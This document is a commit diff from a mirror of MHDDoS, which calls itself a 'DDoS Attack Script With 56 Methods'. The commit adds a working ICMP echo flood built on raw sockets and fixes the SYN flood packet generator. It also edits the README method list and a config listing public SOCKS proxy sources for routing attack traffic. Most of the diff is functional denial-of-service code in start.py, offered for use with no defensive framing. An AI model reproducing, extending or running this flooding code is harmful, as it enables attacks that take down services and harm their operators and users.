mirror of https://github.com/MatrixTM/MHDDoS.git
Added ICMP method, SYN method fixed
This commit is contained in:
parent
6e5ef49278
commit
c938498e4c
|
|
@ -1,6 +1,6 @@
|
|||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
|
||||
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 55 Methods</h1>
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 56 Methods</h1>
|
||||
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
|
||||
|
||||
<p align="center">
|
||||
|
|
@ -51,7 +51,8 @@
|
|||
* <img src="https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png" width="16" height="16" alt="udp"> UDP | UDP Flood Bypass
|
||||
* <img src="https://cdn-icons-png.flaticon.com/512/1918/1918576.png" width="16" height="16" alt="syn"> SYN | SYN Flood
|
||||
* <img src="https://cdn-icons-png.flaticon.com/512/1017/1017466.png" width="16" height="16" alt="cps"> CPS | Open and close connections with proxy
|
||||
* <img src="https://s6.uupload.ir/files/1059643_g8hp.png" width="16" height="16" alt="cps"> CONNECTION | Open connection alive with proxy
|
||||
* <img src="https://icon-library.com/images/icon-ping/icon-ping-28.jpg" width="16" height="16" alt="icmp"> ICMP | Icmp echo request flood (Layer3)
|
||||
* <img src="https://s6.uupload.ir/files/1059643_g8hp.png" width="16" height="16" alt="connection"> CONNECTION | Open connection alive with proxy
|
||||
* <img src="https://ia803109.us.archive.org/27/items/source-engine-video-projects/source-engine-video-projects_itemimage.png" width="16" height="16" alt="vse"> VSE | Send Valve Source Engine Protocol
|
||||
* <img src="https://mycrackfree.com/wp-content/uploads/2018/08/TeamSpeak-Server-9.png" width="16" height="16" alt="teamspeak 3"> TS3 | Send Teamspeak 3 Status Ping Protocol
|
||||
* <img src="https://cdn2.downdetector.com/static/uploads/logo/75ef9fcabc1abea8fce0ebd0236a4132710fcb2e.png" width="16" height="16" alt="fivem"> FIVEM | Send Fivem Status Ping Protocol
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
"MCBOT": "MHDDoS_",
|
||||
"proxy-providers": [
|
||||
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://www.proxy-list.download/api/v1/get?type=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://www.proxyscan.io/download?type=socks4", "timeout": 5},
|
||||
|
|
@ -17,7 +17,7 @@
|
|||
{"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5},
|
||||
|
||||
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://www.proxy-list.download/api/v1/get?type=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://www.proxyscan.io/download?type=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5},
|
||||
|
|
|
|||
33
start.py
33
start.py
|
|
@ -11,7 +11,7 @@ from os import urandom as randbytes
|
|||
from pathlib import Path
|
||||
from re import compile
|
||||
from secrets import choice as randchoice
|
||||
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
|
||||
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
|
||||
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
|
||||
gethostname, socket)
|
||||
from ssl import CERT_NONE, SSLContext, create_default_context
|
||||
|
|
@ -31,7 +31,7 @@ from certifi import where
|
|||
from cloudscraper import create_scraper
|
||||
from dns import resolver
|
||||
from icmplib import ping
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
|
||||
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
||||
from requests import Response, Session, exceptions, get, cookies
|
||||
from yarl import URL
|
||||
|
|
@ -90,7 +90,8 @@ class Methods:
|
|||
|
||||
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
|
||||
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
|
||||
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
|
||||
"MCBOT", "CONNECTION", "CPS", "FIVEM",
|
||||
"TS3", "MCPE", "ICMP"
|
||||
}
|
||||
|
||||
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
|
||||
|
|
@ -359,6 +360,7 @@ class Layer4(Thread):
|
|||
if name == "TS3": self.SENT_FLOOD = self.TS3
|
||||
if name == "MCPE": self.SENT_FLOOD = self.MCPE
|
||||
if name == "FIVEM": self.SENT_FLOOD = self.FIVEM
|
||||
if name == "ICMP": self.SENT_FLOOD = self.ICMP
|
||||
if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
|
||||
if name == "CPS": self.SENT_FLOOD = self.CPS
|
||||
if name == "CONNECTION": self.SENT_FLOOD = self.CONNECTION
|
||||
|
|
@ -444,6 +446,16 @@ class Layer4(Thread):
|
|||
continue
|
||||
Tools.safe_close(s)
|
||||
|
||||
def ICMP(self) -> None:
|
||||
payload = self._genrate_icmp()
|
||||
s = None
|
||||
self._target = (self._target[0], 0)
|
||||
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
|
||||
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
|
||||
while Tools.sendto(s, payload, self._target):
|
||||
continue
|
||||
Tools.safe_close(s)
|
||||
|
||||
def SYN(self) -> None:
|
||||
payload = self._genrate_syn()
|
||||
s = None
|
||||
|
|
@ -524,11 +536,22 @@ class Layer4(Thread):
|
|||
ip.set_ip_dst(self._target[0])
|
||||
tcp: TCP = TCP()
|
||||
tcp.set_SYN()
|
||||
tcp.set_th_flags(0x02)
|
||||
tcp.set_th_dport(self._target[1])
|
||||
tcp.set_th_sport(ProxyTools.Random.rand_int(1, 65535))
|
||||
ip.contains(tcp)
|
||||
return ip.get_packet()
|
||||
|
||||
def _genrate_icmp(self) -> bytes:
|
||||
ip: IP = IP()
|
||||
ip.set_ip_src(__ip__)
|
||||
ip.set_ip_dst(self._target[0])
|
||||
icmp: ICMP = ICMP()
|
||||
icmp.set_icmp_type(icmp.ICMP_ECHO)
|
||||
icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
|
||||
ip.contains(icmp)
|
||||
return ip.get_packet()
|
||||
|
||||
def _generate_amp(self):
|
||||
payloads = []
|
||||
for ref in self._ref:
|
||||
|
|
@ -1561,7 +1584,7 @@ if __name__ == '__main__':
|
|||
if port > 65535 or port < 1:
|
||||
exit("Invalid Port [Min: 1 / Max: 65535] ")
|
||||
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
|
||||
not ToolsConsole.checkRawSocket():
|
||||
exit("Cannot Create Raw Socket")
|
||||
|
||||
|
|
@ -1578,7 +1601,7 @@ if __name__ == '__main__':
|
|||
logger.warning("Port Not Selected, Set To Default: 80")
|
||||
port = 80
|
||||
|
||||
if method == "SYN":
|
||||
if method in {"SYN", "ICMP"}:
|
||||
__ip__ = __ip__
|
||||
|
||||
if len(argv) >= 6:
|
||||
|
|
|
|||
Loading…
Reference in New Issue